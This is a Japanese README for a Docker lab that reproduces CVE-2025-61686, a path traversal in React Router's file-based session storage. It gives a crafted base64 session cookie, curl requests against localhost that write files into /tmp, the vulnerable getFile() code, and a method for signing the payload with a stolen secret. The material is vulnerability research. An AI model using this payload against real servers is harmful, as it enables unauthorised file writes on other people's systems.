
CVE-2025-61686再現用のdockerfileとpoc
1.build
docker-compose up --build
2.start
docker-compose up
1.パストラバーサル条件を満たすセッションを構築する
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
2.構築したセッションをCookieにセットしてリクエストを送信する
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
3.検証
root@de14139fdebf:/app# ls /tmp
flower
脆弱性のあるバージョン7.9.3と7.9.4を比較すると、脆弱性の主な原因が、react-router/packages/react-router-node/sessions /fileStorage.ts ファイル内の getFile() 関数におけるセッションの処理にあることがわかります。
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
ここでは、セッションの先頭4桁が フォルダ名 として、4桁以降が ファイル名 として使用されるため、攻撃者は以下の方法だけでパストラバーサルを実現できます。これが、脆弱性のアドバイザリで「セッションがsecretなしで使用できる場合、ディレクトリトラバーサルが容易に実現できる」と説明されている理由です。もちろん、攻撃者がセッションの暗号化に使用されるsecretを入手できた場合も、対応するトラバーサルペイロードを構築できます。
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
secretを取得した場合は、sign() 関数を参考に、secretを使用してpocに署名することができます。
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
生成したセッションを使ってリクエストを送信する
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
脆弱性のトリガーを確認する
root@eb8750bd4a56:/tmp# ls
flowerwitch
署名生成スクリプト use_secret_create_payload.js